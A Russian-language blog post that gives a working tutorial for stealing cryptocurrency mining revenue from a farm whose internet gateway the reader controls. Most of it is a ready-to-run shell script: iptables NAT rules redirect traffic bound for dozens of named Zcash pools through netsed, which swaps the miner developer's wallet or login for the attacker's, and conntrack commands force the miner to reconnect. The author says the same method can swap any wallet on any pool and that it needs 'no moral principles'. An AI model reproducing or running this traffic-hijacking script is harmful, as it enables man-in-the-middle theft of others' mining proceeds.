Майнинг криптовалюты на оборудовании соседа и без ущерба для репутации


Как показывают расчеты, в деле добычи криптовалют выгоднее всего заниматься продажей золотоискателям лопат и услугами по этих лопат починке 🙂 Но, хотя, и это тоже не мой бизнес, халявное пиво это всегда халявное пиво.
Итого, как можно добыть криптовалюту не вкладываясь в покупку фермы для майнинга на основе видеокарт? Не так и сложно, если есть доступ к коллективному шлюзу в интернет.
Причем, сразу хотелось бы заметить: в предлагаемой схеме почти нет пострадавших. Ну или да будет это на вашей совести.

История вопроса такова: на фермах для майнинга криптовалют используется специализированное програмное обеспечение, зачастую с закрытым кодом и неизвестными мотивами автора.
Так вот, на самом деле мотивы те прекрасно известны: программы-майнеры (к примеру, Claymore’s) написаны с простой целью: каждые N раундов майнинга на указанный в настройках адрес хозяина фермы, происходит дополнительный раунд в пользу адреса разработчика программы майнера. А то и даже не один раунд 🙂 В любом случае, разработчик молодец и скорее всего уже купил себе собственный остров (и это не шутка ни разу, речь идет о миллионах долларов в месяц).
А раз разработчик остров себе уже купил, мы можем за него не волноваться и задуматься, а нельзя ли эти самые «бесполезные» раунды майнинга обернуть в свою пользу. Ну раз владельцу фермы они тоже все равно бесполезны.

Как я уже говорил, для реализации нам понадобятся три вещи:
1. Доступ к низкоуровневым настройкам интернет шлюза, через который работает ферма. Или, что лучше, возможность этот шлюз подменить своим.
2. Отсутствие моральных устоев.
3. Согласие перечислить мне небольшое вознаграждение куда-нибудь

Реализация может разниться в зависимости от используемой на шлюзе операционной системы и ее возможностей. Я приведу способ прикручивания пропеллера типовому представителю семейства пингвиньих. Для работы понадобится наличие в системе netsed и conntrack. Желательно еще ngrep, т.к. адреса могут меняться и необходимо будет актуализировать информацию.

Что будем делать? Очень просто: ловить попытки авторизации на пулах под адресом автора майнера и подменять авторизацию своим адресом. Внимание, тут есть острая дилема морально-этического характера: точно таким же образом мы можем подменить любой адрес для авторизации на любом пуле для майнинга.
Итак, создадим скрипт, который будет выполняться при старте системы. Или по расписанию.

Первым блоком мы добавим необходимые правила перенаправления, предварительно проверив, а не существует ли уже какое-нибудь из них.
Перенаправляем соединения от внутреннего адреса майнинг фермы на самостоятельно выбранные локальные порты настраиваемого нами шлюза.

if iptables -L -t nat | grep coinmine | grep -v ‘grep’ >/dev/null
then echo ok
else
iptables -t nat -A PREROUTING -s 192.168.20.18 -d 94.23.199.191 -p tcp —dport 3333 -j REDIRECT —to 13333 # eu1-zcash.flypool.org
iptables -t nat -A PREROUTING -s 192.168.20.18 -d 94.23.20.210 -p tcp —dport 3333 -j REDIRECT —to 23333 # eu1-zcash.flypool.org
iptables -t nat -A PREROUTING -s 192.168.20.18 -d 188.165.195.21 -p tcp —dport 3333 -j REDIRECT —to 33333 # eu1-zcash.flypool.org
iptables -t nat -A PREROUTING -s 192.168.20.18 -d 94.23.12.63 -p tcp —dport 3333 -j REDIRECT —to 43333 # eu1-zcash.flypool.org
iptables -t nat -A PREROUTING -s 192.168.20.18 -d 94.23.60.113 -p tcp —dport 3333 -j REDIRECT —to 53333 # eu1-zcash.flypool.org
iptables -t nat -A PREROUTING -s 192.168.20.18 -d 192.99.160.185 -p tcp —dport 3333 -j REDIRECT —to 13323 # us1-zcash.flypool.org
iptables -t nat -A PREROUTING -s 192.168.20.18 -d 192.99.33.207 -p tcp —dport 3333 -j REDIRECT —to 23323 # us1-zcash.flypool.org
iptables -t nat -A PREROUTING -s 192.168.20.18 -d 218.11.0.223 -p tcp —dport 3333 -j REDIRECT —to 33323 # cn1-zcash.flypool.org
iptables -t nat -A PREROUTING -s 192.168.20.18 -d 116.211.167.195 -p tcp —dport 3333 -j REDIRECT —to 43323 # cn1-zcash.flypool.org
iptables -t nat -A PREROUTING -s 192.168.20.18 -d 139.99.8.65 -p tcp —dport 3333 -j REDIRECT —to 53323 # asia1-zcash.flypool.org
iptables -t nat -A PREROUTING -s 192.168.20.18 -d 45.63.61.87 -p tcp —dport 6666 -j REDIRECT —to 16666 # zec-us-west1.nanopool.org
iptables -t nat -A PREROUTING -s 192.168.20.18 -d 45.76.65.223 -p tcp —dport 6666 -j REDIRECT —to 26666 # zec-us-west1.nanopool.org
iptables -t nat -A PREROUTING -s 192.168.20.18 -d 45.32.71.82 -p tcp —dport 6666 -j REDIRECT —to 36666 # zec-us-west1.nanopool.org
iptables -t nat -A PREROUTING -s 192.168.20.18 -d 79.137.82.104 -p tcp —dport 6666 -j REDIRECT —to 16667 # zec-eu1.nanopool.org
iptables -t nat -A PREROUTING -s 192.168.20.18 -d 185.71.66.20 -p tcp —dport 6666 -j REDIRECT —to 16665 # zec-eu1.nanopool.org
iptables -t nat -A PREROUTING -s 192.168.20.18 -d 92.222.180.119 -p tcp —dport 6666 -j REDIRECT —to 26665 # zec-eu1.nanopool.org
iptables -t nat -A PREROUTING -s 192.168.20.18 -d 92.222.180.118 -p tcp —dport 6666 -j REDIRECT —to 26667 # zec-eu2.nanopool.org
iptables -t nat -A PREROUTING -s 192.168.20.18 -d 79.137.82.70 -p tcp —dport 6666 -j REDIRECT —to 36667 # zec-eu2.nanopool.org
iptables -t nat -A PREROUTING -s 192.168.20.18 -d 198.251.88.21 -p tcp —dport 6666 -j REDIRECT —to 56667 # zec-eu2.nanopool.org
iptables -t nat -A PREROUTING -s 192.168.20.18 -d 158.69.86.187 -p tcp —dport 6666 -j REDIRECT —to 46667 # zec-us-east1.nanopool.org
iptables -t nat -A PREROUTING -s 192.168.20.18 -d 158.69.85.38 -p tcp —dport 6666 -j REDIRECT —to 16668 # zec-us-east1.nanopool.org
iptables -t nat -A PREROUTING -s 192.168.20.18 -d 192.99.69.170 -p tcp —dport 6666 -j REDIRECT —to 26668 # zec-us-east1.nanopool.org
iptables -t nat -A PREROUTING -s 192.168.20.18 -d 103.3.62.64 -p tcp —dport 6666 -j REDIRECT —to 16669 # zec-asia1.nanopool.org
iptables -t nat -A PREROUTING -s 192.168.20.18 -d 139.99.9.106 -p tcp —dport 6666 -j REDIRECT —to 26669 # zec-asia1.nanopool.org
iptables -t nat -A PREROUTING -s 192.168.20.18 -d 139.99.9.173 -p tcp —dport 6666 -j REDIRECT —to 36669 # zec-asia1.nanopool.org
iptables -t nat -A PREROUTING -s 192.168.20.18 -d 139.99.9.146 -p tcp —dport 6666 -j REDIRECT —to 46669 # zec-asia1.nanopool.org
iptables -t nat -A PREROUTING -s 192.168.20.18 -d 137.74.1.208 -p tcp —dport 8008 -j REDIRECT —to 28008
iptables -t nat -A PREROUTING -s 192.168.20.18 -d 37.187.140.128 -p tcp —dport 8008 -j REDIRECT —to 38008 # zec.coinmine.pl
iptables -t nat -A PREROUTING -s 192.168.20.18 -d 147.135.221.191 -p tcp —dport 8008 -j REDIRECT —to 48008
iptables -t nat -A PREROUTING -s 192.168.20.18 -d 145.239.9.112 -p tcp —dport 8008 -j REDIRECT —to 58008
iptables -t nat -A PREROUTING -s 192.168.20.18 -d 147.135.221.192 -p tcp —dport 8008 -j REDIRECT —to 48009
iptables -t nat -A PREROUTING -s 192.168.20.18 -d 167.114.118.238 -p tcp —dport 8008 -j REDIRECT —to 48007 # zec-us.coinmine.pl
iptables -t nat -A PREROUTING -s 192.168.20.18 -d 37.187.27.91 -p tcp —dport 8008 -j REDIRECT —to 18018 # zec-eu.coinmine.pl
iptables -t nat -A PREROUTING -s 192.168.20.18 -d 103.47.209.66 -p tcp —dport 8008 -j REDIRECT —to 18019 # zec-as.coinmine.pl
iptables -t nat -A PREROUTING -s 192.168.20.18 -d 147.135.221.69 -p tcp —dport 8008 -j REDIRECT —to 18020 # zec.coinmine.pl
iptables -t nat -A PREROUTING -s 192.168.20.18 -d 217.182.165.120 -p tcp —dport 8008 -j REDIRECT —to 18021
iptables -t nat -A PREROUTING -s 192.168.20.18 -d 37.187.27.172 -p tcp —dport 8008 -j REDIRECT —to 18022
iptables -t nat -A PREROUTING -s 192.168.20.18 -d 147.135.221.69 -p tcp —dport 8008 -j REDIRECT —to 18023
iptables -t nat -A PREROUTING -s 192.168.20.18 -d 37.187.27.172 -p tcp —dport 8008 -j REDIRECT —to 18024
iptables -t nat -A PREROUTING -s 192.168.20.18 -d 37.187.27.91 -p tcp —dport 8008 -j REDIRECT —to 18025
iptables -t nat -A PREROUTING -s 192.168.20.18 -d 167.114.119.172 -p tcp —dport 8008 -j REDIRECT —to 18026 # zec-us.coinmine.pl
iptables -t nat -A PREROUTING -s 192.168.20.18 -d 139.99.8.92 -p tcp —dport 8008 -j REDIRECT —to 18027 # zec-as.coinmine.pl
iptables -t nat -A PREROUTING -s 192.168.20.18 -d 139.99.8.209 -p tcp —dport 8008 -j REDIRECT —to 18028
iptables -t nat -A PREROUTING -s 192.168.20.18 -d 103.47.208.58 -p tcp —dport 8008 -j REDIRECT —to 18029
iptables -t nat -A PREROUTING -s 192.168.20.18 -d 139.99.8.157 -p tcp —dport 8008 -j REDIRECT —to 18030
fi

Адреса пулов и порты будут совершенно другими, если речь идет о другой программе майнере и другой криптовалюте. Для поиска верных данных как раз понадобится ngrep в системе. Будет нужно запустить:
ngrep -W single -d eth1 ‘mining.submit’ | grep -v «#»
И почитать вывод в консоль. Идущие плотной стеной пакеты и адрес (или логин) внутри них принадлежат хозяину фермы, подменять их не стоит. Поэтому отсечем их:
ngrep -W single -d eth1 ‘mining.submit’ | grep -v «#» | grep -v «t1HuXBy6o6zYovfWCg3FXyYLKmeGscvWaYS»
И вот как раз среди единиц оставшихся пакетов мы и увидим и адрес назначения для майнинга в пользу автора программы и адрес (или логин), который необходимо подменить. Точнее, со временем там будет пара десятков адресов пулов и несколько логинов и кошельков, автор программы майнера явно не дурак, да.
Но, разумеется, если автор программы майнера дошел до того, чтобы использовать шифрованный протокол взаимодействия с пулами для майнинга, то он второй раз молодец, хоть и непонятно, зачем одному человеку два острова.

После того, как мы перенаправили интересующие нас соединения, необходимо, чтобы эти соединения кто-то принял, обработал и в свою очередь перенаправил по изначальному назначению (на адрес пула).
Ок, проверим, что ничего похожего на один из процессов обработки уже не запущено и затем стартуем. Порты и адреса, разумеется, будут отличаться. Как и адреса (или логины), которые в оригинале отсылает программа майнер.
После запуска обработчиков мы ждем секунду и вынуждаем майнер произвести переподключение.

if ps -ax | grep ‘79.137.82.104 6666’ | grep -v ‘grep’ >/dev/null
then echo ok
else
netsed tcp 13333 94.23.199.191 3333 s/DasIstDerBeutelDesBergmanns/t1HuXBy6o6zYovfWCg3FXyYLKmeGscvWaYS &
netsed tcp 23333 94.23.20.210 3333 s/DasIstDerBeutelDesBergmanns/t1HuXBy6o6zYovfWCg3FXyYLKmeGscvWaYS &
netsed tcp 33333 188.165.195.21 3333 s/DasIstDerBeutelDesBergmanns/t1HuXBy6o6zYovfWCg3FXyYLKmeGscvWaYS &
netsed tcp 43333 94.23.12.63 3333 s/DasIstDerBeutelDesBergmanns/t1HuXBy6o6zYovfWCg3FXyYLKmeGscvWaYS &
netsed tcp 53333 94.23.60.113 3333 s/DasIstDerBeutelDesBergmanns/t1HuXBy6o6zYovfWCg3FXyYLKmeGscvWaYS &
netsed tcp 13323 192.99.160.185 3333 s/DasIstDerBeutelDesBergmanns/t1HuXBy6o6zYovfWCg3FXyYLKmeGscvWaYS &
netsed tcp 23323 192.99.33.207 3333 s/DasIstDerBeutelDesBergmanns/t1HuXBy6o6zYovfWCg3FXyYLKmeGscvWaYS &
netsed tcp 33323 218.11.0.223 3333 s/DasIstDerBeutelDesBergmanns/t1HuXBy6o6zYovfWCg3FXyYLKmeGscvWaYS &
netsed tcp 43323 116.211.167.195 3333 s/DasIstDerBeutelDesBergmanns/t1HuXBy6o6zYovfWCg3FXyYLKmeGscvWaYS &
netsed tcp 53323 139.99.8.65 3333 s/DasIstDerBeutelDesBergmanns/t1HuXBy6o6zYovfWCg3FXyYLKmeGscvWaYS &

netsed tcp 16666 45.63.61.87 6666 s/DasIstDerBeutelDesBergmanns/t1HuXBy6o6zYovfWCg3FXyYLKmeGscvWaYS &
netsed tcp 26666 45.76.65.223 6666 s/DasIstDerBeutelDesBergmanns/t1HuXBy6o6zYovfWCg3FXyYLKmeGscvWaYS &
netsed tcp 36666 45.32.71.82 6666 s/DasIstDerBeutelDesBergmanns/t1HuXBy6o6zYovfWCg3FXyYLKmeGscvWaYS &

netsed tcp 16667 79.137.82.104 6666 s/DasIstDerBeutelDesBergmanns/t1HuXBy6o6zYovfWCg3FXyYLKmeGscvWaYS &
netsed tcp 36667 79.137.82.70 6666 s/DasIstDerBeutelDesBergmanns/t1HuXBy6o6zYovfWCg3FXyYLKmeGscvWaYS &
netsed tcp 26667 92.222.180.118 6666 s/DasIstDerBeutelDesBergmanns/t1HuXBy6o6zYovfWCg3FXyYLKmeGscvWaYS &
netsed tcp 46667 158.69.86.187 6666 s/DasIstDerBeutelDesBergmanns/t1HuXBy6o6zYovfWCg3FXyYLKmeGscvWaYS &
netsed tcp 16668 158.69.85.38 6666 s/DasIstDerBeutelDesBergmanns/t1HuXBy6o6zYovfWCg3FXyYLKmeGscvWaYS &
netsed tcp 26668 192.99.69.170 6666 s/DasIstDerBeutelDesBergmanns/t1HuXBy6o6zYovfWCg3FXyYLKmeGscvWaYS &

netsed tcp 16669 103.3.62.64 6666 s/DasIstDerBeutelDesBergmanns/t1HuXBy6o6zYovfWCg3FXyYLKmeGscvWaYS &
netsed tcp 26669 139.99.9.106 6666 s/DasIstDerBeutelDesBergmanns/t1HuXBy6o6zYovfWCg3FXyYLKmeGscvWaYS &
netsed tcp 36669 139.99.9.173 6666 s/DasIstDerBeutelDesBergmanns/t1HuXBy6o6zYovfWCg3FXyYLKmeGscvWaYS &
netsed tcp 46669 139.99.9.146 6666 s/DasIstDerBeutelDesBergmanns/t1HuXBy6o6zYovfWCg3FXyYLKmeGscvWaYS &

netsed tcp 56667 198.251.88.21 6666 s/DasIstDerBeutelDesBergmanns/t1HuXBy6o6zYovfWCg3FXyYLKmeGscvWaYS &
netsed tcp 16665 185.71.66.20 6666 s/DasIstDerBeutelDesBergmanns/t1HuXBy6o6zYovfWCg3FXyYLKmeGscvWaYS &
netsed tcp 26665 92.222.180.119 6666 s/DasIstDerBeutelDesBergmanns/t1HuXBy6o6zYovfWCg3FXyYLKmeGscvWaYS &

netsed tcp 28008 137.74.1.208 8008 s/supertaburet/onemsway &
netsed tcp 38008 37.187.140.128 8008 s/supertaburet/onemsway &
netsed tcp 48008 147.135.221.191 8008 s/supertaburet/onemsway &
netsed tcp 48009 147.135.221.192 8008 s/supertaburet/onemsway &
netsed tcp 58008 145.239.9.112 8008 s/supertaburet/onemsway &
netsed tcp 48007 167.114.118.238 8008 s/supertaburet/onemsway &

netsed tcp 18018 37.187.27.91 8008 s/supertaburet/onemsway &
netsed tcp 18019 103.47.209.66 8008 s/supertaburet/onemsway &
netsed tcp 18020 147.135.221.69 8008 s/supertaburet/onemsway &
netsed tcp 18021 217.182.165.120 8008 s/supertaburet/onemsway &
netsed tcp 18022 37.187.27.172 8008 s/supertaburet/onemsway &
netsed tcp 18023 147.135.221.69 8008 s/supertaburet/onemsway &
netsed tcp 18024 37.187.27.172 8008 s/supertaburet/onemsway &
netsed tcp 18025 37.187.27.91 8008 s/supertaburet/onemsway &
netsed tcp 18026 167.114.119.172 8008 s/supertaburet/onemsway &
netsed tcp 18027 139.99.8.92 8008 s/supertaburet/onemsway &
netsed tcp 18028 139.99.8.209 8008 s/supertaburet/onemsway &
netsed tcp 18029 103.47.208.58 8008 s/supertaburet/onemsway &
netsed tcp 18030 139.99.8.157 8008 s/supertaburet/onemsway &

sleep 1

conntrack -D -d 94.23.199.191
conntrack -D -d 94.23.20.210
conntrack -D -d 188.165.195.21
conntrack -D -d 94.23.12.63
conntrack -D -d 94.23.60.113
conntrack -D -d 192.99.160.185
conntrack -D -d 192.99.33.207
conntrack -D -d 218.11.0.223
conntrack -D -d 116.211.167.195
conntrack -D -d 139.99.8.65
conntrack -D -d 45.63.61.87
conntrack -D -d 45.76.65.223
conntrack -D -d 45.32.71.82
conntrack -D -d 79.137.82.104
conntrack -D -d 79.137.82.70
conntrack -D -d 92.222.180.118
conntrack -D -d 158.69.86.187
conntrack -D -d 158.69.85.38
conntrack -D -d 192.99.69.170
conntrack -D -d 103.3.62.64
conntrack -D -d 139.99.9.106
conntrack -D -d 139.99.9.173
conntrack -D -d 139.99.9.146
conntrack -D -d 198.251.88.21
conntrack -D -d 185.71.66.20
conntrack -D -d 92.222.180.119
conntrack -D -d 137.74.1.208
conntrack -D -d 37.187.140.128
conntrack -D -d 147.135.221.191
conntrack -D -d 147.135.221.192
conntrack -D -d 145.239.9.112
conntrack -D -d 167.114.118.238
conntrack -D -d 37.187.27.91
conntrack -D -d 103.47.209.66
conntrack -D -d 147.135.221.69
conntrack -D -d 217.182.165.120
conntrack -D -d 37.187.27.172
conntrack -D -d 147.135.221.69
conntrack -D -d 37.187.27.172
conntrack -D -d 37.187.27.91
conntrack -D -d 167.114.119.172
conntrack -D -d 139.99.8.92
conntrack -D -d 139.99.8.209
conntrack -D -d 103.47.208.58
conntrack -D -d 139.99.8.157
fi

Ничего страшного, если хозяин фермы использует те же самые пулы. Обработчик заменит только адрес «бесполезных» пакетов, а пакеты владельца затронуты не будут.

Если вдруг будет желание помочь мне материально, прошу:
BTC (Bitcoin): 1447Eo3oQdiZZek3Tg6EdWK8Zfv9bjDQB2
ETH (Ethereum): 0xfd238a8f5d622e70d00fd36410f44a798077549e
Dash: XrjHRffTnfCfXhH2ciy8ry2Zq2VeEgHe9d

За поговорить всегда жду в почте: one@microsoft-way.ru


Ваш отзыв